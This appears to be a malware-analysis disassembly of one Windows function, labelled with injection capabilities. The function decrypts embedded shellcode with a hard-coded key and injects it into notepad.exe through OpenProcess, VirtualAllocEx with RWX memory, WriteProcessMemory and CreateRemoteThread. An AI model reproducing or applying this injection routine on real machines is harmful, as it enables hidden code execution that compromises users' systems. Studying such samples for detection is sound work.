Function at 0x1400018a0
Capabilities:
Allocate or change rwx memory
Create thread
Execute command
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x30], 0xfffffffffffffffe
lea rcx, str.Color_0A
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1708
call fcn.140002414
lea rcx, [rax + 0x27]
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
mov qword [rbp], rcx
lea rsi, [rcx + 0x16e1]
mov qword [rbp + 0x10], rsi
lea rdx, section..rdata
mov r8d, 0x16e1
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 8], rsi
mov qword [rbp - 0x18], 0
mov ecx, 0x20
call fcn.140002414
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x10], 0x10
mov qword [rbp - 8], 0x1f
movups xmm0, xmmword [str.secret_key123123]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0
lea rcx, [rbp + 0x18]
mov rdx, rbp
lea r8, [rbp - 0x20]
call fcn.140001060
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Decrypted_shellcode:_n
call fcn.140001c90
mov r15, qword [rbp + 0x18]
mov r12, qword [rbp + 0x20]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov r13d, 0xfffff1ff
mov rsi, qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rbx, [0x140005b38]
cmp r15, r12
je 0x1400019d6
nop word [rax + rax]
movzx r14d, byte [r15]
mov rcx, rdi
lea rdx, [0x140005ae4]
call fcn.140001c90
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov edx, dword [rax + rcx + 0x18]
and edx, r13d
or edx, 0x800
mov dword [rax + rcx + 0x18], edx
mov rcx, rax
mov edx, r14d
call rsi
mov rcx, rax
mov rdx, rbx
call fcn.140001c90
inc r15
cmp r15, r12
jne 0x140001990
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::put_char____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
mov qword [rbp - 0x38], 0
mov ecx, 0x20
call fcn.140002414
mov rsi, rax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x30], 0xb
mov qword [rbp - 0x28], 0xf
movups xmm0, xmmword [str.notepad.exe]
movups xmmword [rax], xmm0
movabs rax, 0x6500780065002e
mov qword [rsi + 0xe], rax
mov word [rsi + 0x16], 0
lea rcx, [rbp - 0x40]
call fcn.140001730
mov edi, eax
mov edx, 0x20
mov rcx, rsi
call fcn.140002458
mov ecx, 0x1fffff
xor edx, edx
mov r8d, edi
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
mov r8, qword [rbp + 0x20]
sub r8, qword [rbp + 0x18]
mov dword [rsp + 0x20], 0x40
mov rcx, rax
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov r8, qword [rbp + 0x18]
mov r9, qword [rbp + 0x20]
sub r9, r8
mov qword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x18]
test rcx, rcx
je 0x140001b36
mov rdx, qword [rbp + 0x28]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140001b31
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x140001bbd
add rdx, 0x27
mov rcx, rax
call fcn.140002458
mov rax, qword [rbp - 8]
cmp rax, 0x10
jb 0x140001b71
mov rcx, qword [rbp - 0x20]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140001b6c
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001bbd
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140002458
mov rcx, qword [rbp]
test rcx, rcx
je 0x140001ba7
mov rdx, qword [rbp + 0x10]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140001ba2
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x140001bbd
add rdx, 0x27
mov rcx, rax
call fcn.140002458
xor eax, eax
add rsp, 0xb8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3